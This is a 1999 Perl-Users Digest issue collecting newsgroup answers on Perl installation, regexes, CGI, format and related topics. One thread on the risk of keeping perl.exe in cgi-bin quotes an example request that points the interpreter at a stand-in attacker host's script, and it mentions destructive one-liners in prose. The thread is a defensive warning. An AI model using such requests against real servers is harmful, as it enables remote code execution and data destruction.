[11475] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 5075 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Mar 6 17:07:19 1999

Date: Sat, 6 Mar 99 14:00:17 -0800
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Sat, 6 Mar 1999     Volume: 8 Number: 5075

Today's topics:
    Re: CANT load POSIX for ceil function <gellyfish@btinternet.com>
        FAQ 2.4: I copied the Perl binary from one machine to a <perlfaq-suggestions@perl.com>
    Re: GD Library <gellyfish@btinternet.com>
    Re: Getting rid of ^M <palincss@his.com>
    Re: hash from split in one step <gellyfish@btinternet.com>
    Re: HELP: Socket based script under Win32 <gellyfish@btinternet.com>
        Lynux <info@blue.uk.com>
    Re: Lynux <palincss@his.com>
    Re: Msql-Mysql module / Perl / Windows 98 <gellyfish@btinternet.com>
    Re: Need Help with Regular expressions <gellyfish@btinternet.com>
    Re: Need help with server / client perl scripts <gellyfish@btinternet.com>
        New bies quest <ac.bostrom@mail.bip.net>
        Newbie needs help formatting variable <mcameron@altainfo.com>
    Re: Newbie: ProgID for Microsoft WordPad <gellyfish@btinternet.com>
    Re: Perl & OS/2: problems with makefile.pl & makemaker (Erik Huelsmann)
    Re: Perl & OS/2: problems with makefile.pl & makemaker (Ilya Zakharevich)
        Perl.exe in the CGI-BIN directory <rabinv@hotmail.com>
    Re: Perl.exe in the CGI-BIN directory (Ethan H. Poole)
    Re: Printing in Perl <rick.delaney@home.com>
    Re: Problems with File::Find and links <gellyfish@btinternet.com>
    Re: Program to run awhile starting from browser <gellyfish@btinternet.com>
    Re: stable is ...?  (was Re: COnverting comma separate  (Alan Barclay)
    Re: Tk binding and callbacks, EOT <gellyfish@btinternet.com>
    Re: Want to learn Perl <jeff@webdesigns1.com>
        Special: Digest Administrivia (Last modified: 12 Dec 98 (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: 6 Mar 1999 20:34:06 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: CANT load POSIX for ceil function
Message-Id: <7bs3fu$1ug$1@gellyfish.btinternet.com>

On Thu, 04 Mar 1999 14:47:04 -0700 Paul M. Neth wrote:
> 
> I copied the posix.pm and autosplit.ix to the @inc paths but it still
> doesnt seem to work. First I got unable to load posix.pm but here is the
> lastest error message.
> 
<snip expected error message>

With a module such as POSIX you cant just go copying the files to some
directory as you see fit.  There are binary XS components that need to
be installed correctly as well - if you have those binary bits then all
well and good you should copy them as well - but on the whole you should
go through the proper installation procedure.

I am not sure whether you can obtain a precompiled binary distribution for
your platform - but it might be a good idea to upgrade to the latest
ActiveState distribution as it will be more likely that new binaries will
be distributed for this than the former standard distribution for Win32.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 12:41:37 -0700
From: Tom Christiansen <perlfaq-suggestions@perl.com>
Subject: FAQ 2.4: I copied the Perl binary from one machine to another, but scripts don't work.  
Message-Id: <36e184f1@csnews>

(This excerpt from perlfaq2 - Obtaining and Learning about Perl 
    ($Revision: 1.30 $, $Date: 1998/12/29 19:43:32 $)
part of the standard set of documentation included with every 
valid Perl distribution, like the one on your system.
See also http://language.perl.com/newdocs/pod/perlfaq2.html
if your negligent system adminstrator has been remiss in his duties.)

  I copied the Perl binary from one machine to another, but scripts don't work.

    That's probably because you forgot libraries, or library paths
    differ. You really should build the whole distribution on the
    machine it will eventually live on, and then type `make install'.
    Most other approaches are doomed to failure.

    One simple way to check that things are in the right place is to
    print out the hard-coded @INC which perl is looking for.

        % perl -e 'print join("\n",@INC)'

    If this command lists any paths which don't exist on your system,
    then you may need to move the appropriate libraries to these
    locations, or create symlinks, aliases, or shortcuts
    appropriately. @INC is also printed as part of the output of

        % perl -V

    You might also want to check out the section on "How do I keep my
    own module/library directory?" in the perlfaq8 manpage.

-- 
    X-Windows: Let it get in YOUR way.
	--Jamie Zawinski


------------------------------

Date: 6 Mar 1999 19:28:21 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: GD Library
Message-Id: <7brvkm$1rg$1@gellyfish.btinternet.com>

On Thu, 4 Mar 1999 14:05:02 +0100 Stephan Tuitjer wrote:
> Does anybody know, where I can find the GD Library
> 

Other than at CPAN ?

http://www.perl.com/CPAN/authors/id/LDS/GD-1.18.tar.g

(useful that ~/.cpan/sources/modules/02packages.details.txt.gz :)

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: Sat, 06 Mar 1999 15:44:51 -0500
From: Steve Palincsar <palincss@his.com>
Subject: Re: Getting rid of ^M
Message-Id: <36E193C3.6F9C226F@his.com>

The ^M in question is the carriage return
character.  This is the perfect job for
in-place editing.  I use the following one-liner
at work a lot:

perl -pi -e 's|\r||g;' filename

(If you are feeling unconfident, you can use
-pi.bak and end up with a bunch of old
backup files...)

Of course, there are two good ways to stop this
at the source.  If you're getting DOS files onto
a unix system by means of ftp, use ascii mode
and those pesky \r's will vanish by themselves.
If you're doing as I sometimes do, using mcopy
to transfer files on a floppy from my DOS to my
linux box, try using pkzip on them first.  When
you unzip -a on the unix machine, the \r's go
away too.  (OF course, be sure there are only
text files in the .zip if you do that; removing
\r from a binary file is suboptimal.)

Steve Palincsar


Jay Glascoe wrote:
> 
> Robert Saunders wrote:
> >
> > I am sure this is very simple.. but I have a data files that gets
> > created and I open it up and want to take out the ^M at the end of
> > several lines..
> >
> > I have tried the simple
> >
> > $data_line =~ s/\^M//ig;
> 
> perl -ne 's/\cM//g; print' < infile > outfile
> 
> of course, if you're abso-smurf'ly certain that
> <ctrl-M> only occurrs at the end of the lines,
> try this:
> 
> do { s/\cM$//; print OUT; } while (<IN>);
> 
> Or perhaps:
> 
> foreach (<IN>) { chop; print OUT; }
>


------------------------------

Date: 6 Mar 1999 20:50:39 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: hash from split in one step
Message-Id: <7bs4ev$1uk$1@gellyfish.btinternet.com>

On Sat, 06 Mar 1999 00:02:35 GMT @l@ wrote:
> In article <7bkdlo$u82$1@nnrp1.dejanews.com>,
>   vicuna@my-dejanews.com wrote:
>> lo
>>
>> Would be high droogy if someone could grok me the glimmer.
> 
> Do you speak English?

Well (s)he is only a type of deer after all so its particularly spectacular
to have learnt English from only 'A Stranger in a Strange Land' and 
'A Clockwork Orange' - beats all those Janet & John books anyhow :-)

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 19:15:39 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: HELP: Socket based script under Win32
Message-Id: <7brusr$1qd$1@gellyfish.btinternet.com>

On Thu, 04 Mar 1999 11:28:50 GMT brethel@dcc.unicamp.br wrote:
> Hi,
> i'm doing a Socket based script to run under Win32, and
> i don't know how to find out my machine's local IP
> ( dynamically assigned at each connection ); under
> Unix i know'd be the $localhost=`hostname`, but how does that's
> done in Windows 9x/NT ???
> 

You will be delighted to discover that this is covered in perlfaq9:

=head2 How do I find out my hostname/domainname/IP address?

the main issue being the non-availability of 'hostname' on some platforms.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: Sat, 6 Mar 1999 19:23:26 -0000
From: "Matt" <info@blue.uk.com>
Subject: Lynux
Message-Id: <7brv7e$fjf$1@starburst.uk.insnet.net>

Where can I get software for running perl on Lynux

Matt




------------------------------

Date: Sat, 06 Mar 1999 15:25:32 -0500
From: Steve Palincsar <palincss@his.com>
Subject: Re: Lynux
Message-Id: <36E18F3C.5EE7FAD@his.com>

Matt wrote:
> 
> Where can I get software for running perl on Lynux
> 
> Matt

Persumably you mean "linux" the operating system.
If so, you may find you have perl on your system
already.  What flavor of linux do you have?  Have
you tried opening an xterm and simply typing
"perl -V" ?


------------------------------

Date: 6 Mar 1999 19:24:00 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Msql-Mysql module / Perl / Windows 98
Message-Id: <7brvcg$1qh$1@gellyfish.btinternet.com>

On Thu, 4 Mar 1999 14:25:11 +0200 Jaco van Eeden wrote:
> Hi
> 
> My goal is:
> 
> To connect to a Msql 2.0 database using Perl on a Windows 98 machine.
> 
> This is what I did so far:
> I am using Activestate's Perl (build 509). I also have Msql 2.0 running on
> my machine. I successfully installed the DBI and Data:Showtables modules
> with PPM.
> 
> Now I want to install the Msql-Mysql module, but I see it is not available
> from Activestate.  I downloaded a Msql-Mysql module from CPAN. I did the
> "perl makefile.pl" and the "nmake". Everything worked fine up until this
> point. I then did the "nmake test" and got quite a few errors (one of them
> is "too many parameters &&").
> 
> Am I doing something wrong? Must I use nmake or is there some other utility
> I can use?
> 

As far as the current knowledge goes the command interpreter that comes
with Win95/98 is basically too crap to be able to build Perl or its modules.

As long as you have some supported C compiler then you might be able to
sort something out with one of the alternative shells available for this
platform.

An alternative might be that the MySQL ODBC driver will work with mSQL -
they share a common parentage I believe. Then you can use DBD::ODBC or
Win32::ODBC - as long as it works of course.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 21:29:36 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Need Help with Regular expressions
Message-Id: <7bs6o0$238$1@gellyfish.btinternet.com>

In comp.lang.perl.misc Nima Mortazavi <nima.m@lyckseleNOSPAM.net> wrote:
> Hi
> 
> I have a text file with following row :
> 
> =========
> Hi $name How are you
> My name is $info{'name'}
> This file is  /etc/$fil.txt
> I am working on Usa/$city/street
> =======
> 
> 
> 
> 
> Now , In my perl program, I want read the text file and replace the
> variables in text file
> with the existing value of variable , I use the following code in my
> program.
> 

Think you may have missed the item in perlfaq4 entitled:


       How can I expand variables in text strings?

This will be of enormous help to you.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 19:06:56 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Need help with server / client perl scripts
Message-Id: <7brucg$1q8$1@gellyfish.btinternet.com>

<comp.lang.perl has fallen off its perch and is pushing up daisies>

In comp.lang.perl.misc Fred <fredrick@smacked.com> wrote:
> Does anyone know of any client / server perl programs that allow the
> client to execute certain commands on the remote host?
> Thanks
> 

There are *modules* that allow you to write programs that will do this :

Net::Rexec
Net::Telnet

Net::Rexec is possibly more appropriate, but some platforms dont support
this.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: Sat, 6 Mar 1999 22:47:21 +0100
From: "Ann-Charlotte Bostrvm" <ac.bostrom@mail.bip.net>
Subject: New bies quest
Message-Id: <36e1a340.0@d2o78.telia.com>

Hi everyone. I am trying to learn this wonderful lang. I am trying to do a
smal script that change b to <b> and bb to</b>.
like this:
$text=~s/b/<b>/g;
$text=~s/bb/</b>/g;
but the problem is that when it shall change from bb to </b> i got a error.
I understand it must be the </b> that is the problem and its probleby the
"/" that cause the error. How do i command the / to be print out as a / and
not a perlcommandsign...
Hope you understand it and thanks alot if you can help me.
Your freind AC




------------------------------

Date: Sat, 06 Mar 1999 13:29:34 -0700
From: Mike & Christine <mcameron@altainfo.com>
Subject: Newbie needs help formatting variable
Message-Id: <36E1902D.D740B8E@altainfo.com>

I have a financial calculator program and am having trouble with the
following:

1. I need to strip all punctuation except for numbers and decimal(ie
remove $ and ,) from user input.
$myvariable =~ ???????

2. Format the manipulated data back to a currency format.

ie $mycalculated_data = round to nearest cent and add commas for
thousands.

Any suggestions would be greatly appreciated.

Thanks in advance.

Mike



------------------------------

Date: 6 Mar 1999 18:58:57 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Newbie: ProgID for Microsoft WordPad
Message-Id: <7brtth$1q2$1@gellyfish.btinternet.com>

On Thu, 04 Mar 1999 01:17:51 GMT kris wrote:
> I am learning OLE automation and I would like to know what the program ID is
> for Microsoft WordPad.  I haven't been able to find it anywhere and I
> figured this newsgroup could help.
> 

I dont know *why* you thought this newsgroup could help - I certainly
couldnt 'WordPad' hasnt ever been near this computer (well I kinda waved
the Windows '95 CD in front of it but it wouldnt open the CD tray :) -
You could probably find this out using the OLEView application that comes
with the MS Platform SDK that you can download - or alternatively you could
grope through the registry to find this.

But I would like to emphasize that despite the fact you might be using
Win32::OLE to access 'WordPad' your question is not relevant to Perl.

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 19:14:17 GMT
From: erikh@nospam.com (Erik Huelsmann)
Subject: Re: Perl & OS/2: problems with makefile.pl & makemaker
Message-Id: <wzgSQd1pdrdd-pn2-xPdbpGNSCkY5@localhost>

On Sat, 6 Mar 1999 14:44:54, ran@netgate.net wrote:

> Does this sound like your problem?  This is a quote from an email I send
> Ilya a few weeks ago:
[problem description deleted]

I'm sorry to say: No. Perl just crashes and puts a core dump in the 
current directory. EMX says something like "Process terminated by 
SIGFPE, core dumped". 

Maybe it makes a difference that I am running perl on a 486?[I had no 
trouble running makemaker on a Pentium 200 MMX(Win98)]

Anyway, no, the perl program itself crashes, not just makemaker.

bye, Erik

--
ICQ# 23883733 | Want to link your Psion to OS/2? Check out
http://www.oprit.rug.nl/hulsmann/PSI.html
Using Sibyl for OS/2 RAD development (http://www.ndrh.de/~speed/)
[Don't mail posts, I will see them here just fine]



------------------------------

Date: 6 Mar 1999 19:35:31 GMT
From: ilya@math.ohio-state.edu (Ilya Zakharevich)
Subject: Re: Perl & OS/2: problems with makefile.pl & makemaker
Message-Id: <7bs023$dn0$1@mathserv.mps.ohio-state.edu>

[A complimentary Cc of this posting was sent to Erik Huelsmann
<f.w.h.hulsmann@rcondw.rug.nl>],
who wrote in article <wzgSQd1pdrdd-pn2-xPdbpGNSCkY5@localhost>:
> On Sat, 6 Mar 1999 14:44:54, ran@netgate.net wrote:
> 
> > Does this sound like your problem?  This is a quote from an email I send
> > Ilya a few weeks ago:
> [problem description deleted]
> 
> I'm sorry to say: No. Perl just crashes and puts a core dump in the 
> current directory. EMX says something like "Process terminated by 
> SIGFPE, core dumped". 

Oh, you got a floating point exception!  You should have started with
this!  Where you ever running Doom/2 on this machine, or something
like this?  You need to remove GAMESRVR.DLL from PM_ED_HOOK (or
somesuch) in one of the OS/2 .ini files (do not remember which).

It (or something else very similar which "hooks" into "system calls"
the program makes) is resetting FP flags on
initialization/screen-writes.

Ilya


------------------------------

Date: Sat, 06 Mar 1999 14:10:55 -0500
From: Rabin Vongpaisal <rabinv@hotmail.com>
Subject: Perl.exe in the CGI-BIN directory
Message-Id: <36E17DBF.FDE5AC16@hotmail.com>

Hi all,

I was wondering if anyone can give some detailed information about the
security issues of having the interpreter inside the cgi-bin or scripts
directory.  From what I know, people can possibly use the interpreter to
run their own scripts, and having taking advantage of the perl
interpreter's permissions.  Am I right so far?  Would a possible way of
invoking a script be like this?

http://servername/cgi-bin/perl.exe?http://www.cracker.com/cgi-bin/bad.pl

If anyone of you know a link that is specific to this issue, could you
please send it to me?  I would like to have a detailed reference on the
security hole, so any articles, links, and faqs about this would be
greatly appreciated.

Thanks,

Rabin


------------------------------

Date: Sat, 06 Mar 1999 15:52:07 -0500
From: ehpoole@ingress.com (Ethan H. Poole)
Subject: Re: Perl.exe in the CGI-BIN directory
Message-Id: <zognyMBa#GA.153@rejz.ij.net>

[Posted and Emailed]  In article <36E17DBF.FDE5AC16@hotmail.com>, 
rabinv@hotmail.com says...
>
>Hi all,
>
>I was wondering if anyone can give some detailed information about the
>security issues of having the interpreter inside the cgi-bin or scripts
>directory.  From what I know, people can possibly use the interpreter to
>run their own scripts, and having taking advantage of the perl
>interpreter's permissions.  Am I right so far?  Would a possible way of
>invoking a script be like this?
>
>http://servername/cgi-bin/perl.exe?http://www.cracker.com/cgi-bin/bad.pl
>
>If anyone of you know a link that is specific to this issue, could you
>please send it to me?  I would like to have a detailed reference on the
>security hole, so any articles, links, and faqs about this would be
>greatly appreciated.

Do NOT ever place the perl executable in your cgi-bin directory!

Just pass Perl a one-liner that deletes everything from the root directory on 
down after the '?' and that's exactly what will happen (well, for everything 
the anonymous web user has permissions to delete).  Any other one-liner would 
do just as well.

Your example, however, will not work.

-- 
Ethan H. Poole              | Website Design and Hosting,
                            | CGI Programming (Perl & C)..
========Personal=========== | ============================
* ehpoole @ ingress . com * | --Interact2Day, Inc.--
                            | http://www.interact2day.com/



------------------------------

Date: Sat, 06 Mar 1999 19:55:37 GMT
From: Rick Delaney <rick.delaney@home.com>
Subject: Re: Printing in Perl
Message-Id: <36E18A24.6BFFE8D2@home.com>

Larry Rosler wrote:
> 
> In article <afepb7.jhq.ln@magna.metronet.com> on Fri, 5 Mar 1999
> 15:23:06 -0500, Tad McClellan <tadmc@metronet.com >says...
> >
> >    It gives you word-wrap without using a module.
> 
> So does Micro$oft Word, and so does any browser displaying HTML.  So I
> don't need it from Perl.  Nothing more?

Oh, whither C<format>?

You guys are making format seem so...useless!  While I have to admit
that I use printf 99% of the time or more, I still see value in format.

As Tad points out you don't need a module for wrapping but, more than
that, format gives columnar wrapping which I think is beyond Text::Wrap.
So I can do stuff like this:

for (@posts) {
    my ($name, $remarks) = @$_;
    write;
    
format STDOUT =
^<<<<<<<<<<   ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~
$name,        $remarks

 .

}

and get this:

(Just         So does Micro$oft Word, and so does any
Another       browser displaying HTML.  So I  don't need it
Larry)        from Perl.  Nothing more?
Rosler

Bart Lateur   They are closely linked to the concept of
              fixed width fonts, a seriously outdated
              concept that nevertheless refuses to stay
              down.

Tad              It gives you word-wrap without using a
McClellan     module.     But I never use it either.

the jackal    perldoc perlform

Jonathan      Returns a string formatted by the usual
Stowe         C<printf()> conventions of the C library
              function C<sprintf()>.  See L<sprintf(3)> or
              L<printf(3)> on your system for an explanation
              of the general principles.

The last time I used format was to convert income data layed out in the
old style T4 (Canadian tax form) format to the new layout so it could be
printed on the new forms.  This was far easier than it would have been
with printf.

If you're primarily creating HTML files, Larry, then format is probably
not for you (unless you wrap everything in <pre></pre>).  But for
fixed-width font media like email and line printers format can be quite
useful.

At least now I know why I'm the only one answering format questions. 
:-)

-- 
Rick Delaney
rick.delaney@home.com


------------------------------

Date: 6 Mar 1999 21:32:07 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Problems with File::Find and links
Message-Id: <7bs6sn$23o$1@gellyfish.btinternet.com>

In comp.lang.perl.misc Dirk Schumacher <Dirk.Schumacher@depot147.dpd.de> wrote:
> Hi,
> 
> i use File:Find to read all directory into an array
> 
> It4s ok, if no links are used.
> 
> But if a directory are linked to a other Harddisk the programm didn4t
> work.
> 
> Have anybody a idee ???
> 
> 

The manpage for File::Find has :



BUGS
       There is no way to make find or finddepth follow symlinks.


/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 19:56:13 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Program to run awhile starting from browser
Message-Id: <7bs18t$1u7$1@gellyfish.btinternet.com>

On Thu, 04 Mar 1999 23:00:26 GMT Robert Saunders wrote:
> 
> Question
> 
> I am about to work on a program that will be started from a browser,
> the crunching it will be doing may take several minutes.. the problem
> that I have had in the past with trying to do something like this is
> when I click on a link that is going to take lets say 10 minutes to do
> different things on the server..  the browser has the hour glass and
> then finally times out.. 
> 

I would favour something like this :


#!/usr/bin/perl -w

use CGI qw(:standard);

$| = 1;


if (my $pid = fork)
  {
    print header,start_html("Blah blah");
    print h1('Away we go ...');
    print end_html();
    close STDIN;
    close STDOUT;
  }
else
  {
    # do something that will take a long time ...
    close STDIN;
    close STDOUT;
    for (1 ... 100000 )
       {
         sleep 1;
       }
   }

The important thing here is closing the filehandles - I'm not sure if it
is necessary to close STDIN but STDOUT is absolutely necessary the HTTP
server will not close its connection to the client until that happens.

I havent checked whether the fork() has worked very well - but you can
find more about this from the perlfunc entry for fork() and the perlipc
manpage.

Of course if you are not on a Unix like system then its another story ...

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: 6 Mar 1999 20:22:23 GMT
From: gorilla@elaine.drink.com (Alan Barclay)
Subject: Re: stable is ...?  (was Re: COnverting comma separate values)
Message-Id: <920751720.904037@elaine.drink.com>

In article <7br246$av$1@gellyfish.btinternet.com>,
Jonathan Stowe  <gellyfish@btinternet.com> wrote:
>The stable.tar.gz and latest.tar.gz are both 5.005.02 - so either the
>CPAN mirror that Alan is using is out of date or something has gone wrong

I thought the idea is that all the CPAN sites are the same? I don't download
from the UK mirrors, cause I'm not in the UK.

>with their mirroring program - but I seem to recall that the stable.tar.gz
>wasnt even introduced until 5.005 so out of date cant be it ...

http://www.perl.com/CPAN-local/src/5.0/stable.tar.gz is the one I've been
using, looks like I bookmarked that link sometime in 1998. Unpacks to 
perl5.004_04 every time.


------------------------------

Date: 6 Mar 1999 20:05:53 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: Tk binding and callbacks, EOT
Message-Id: <7bs1r1$1uc$1@gellyfish.btinternet.com>

On Tue, 02 Mar 1999 23:15:43 GMT Bryan C. Warnock wrote:
> 
>                                            but does anywhere care about
> compiler warnings when building Perl?  (Warnings like trying to test
> equality between a negative value and an unsigned int, for example.)
> 

Generally - *warnings* are to be watched but not worried about - one might
get a lot of pointer/integer warnings for instance.  Of course if your
'make test' starts failing then you might want to be concerned and go
back and look at the warnings that were generated.

Of course if you dont like the warnings then you could go about creating
an improved 'hint' file for your platform/compiler :)

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: Sat, 6 Mar 1999 12:50:29 -0600
From: "Jeff Oien" <jeff@webdesigns1.com>
Subject: Re: Want to learn Perl
Message-Id: <7brt8m$1fo$1@fir.prod.itd.earthlink.net>

akonopka wrote in message <36E15FBE.131D8D67@mtco.com>...
>Hello,
>
>I was looking for information on Websites or Books that may help me get
>started learning Perl

I have a site that may be of help although you're more advanced
than the typical visitor to this site:
http://www.webdesigns1.com/perl/
--
Jeff Oien, WebDesigns
http://www.webdesigns1.com/
jeff@webdesigns1.com






------------------------------

Date: 12 Dec 98 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Special: Digest Administrivia (Last modified: 12 Dec 98)
Message-Id: <null>


Administrivia:

Well, after 6 months, here's the answer to the quiz: what do we do about
comp.lang.perl.moderated. Answer: nothing. 

]From: Russ Allbery <rra@stanford.edu>
]Date: 21 Sep 1998 19:53:43 -0700
]Subject: comp.lang.perl.moderated available via e-mail
]
]It is possible to subscribe to comp.lang.perl.moderated as a mailing list.
]To do so, send mail to majordomo@eyrie.org with "subscribe clpm" in the
]body.  Majordomo will then send you instructions on how to confirm your
]subscription.  This is provided as a general service for those people who
]cannot receive the newsgroup for whatever reason or who just prefer to
]receive messages via e-mail.

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 5075
**************************************

home help back first fref pref prev next nref lref last post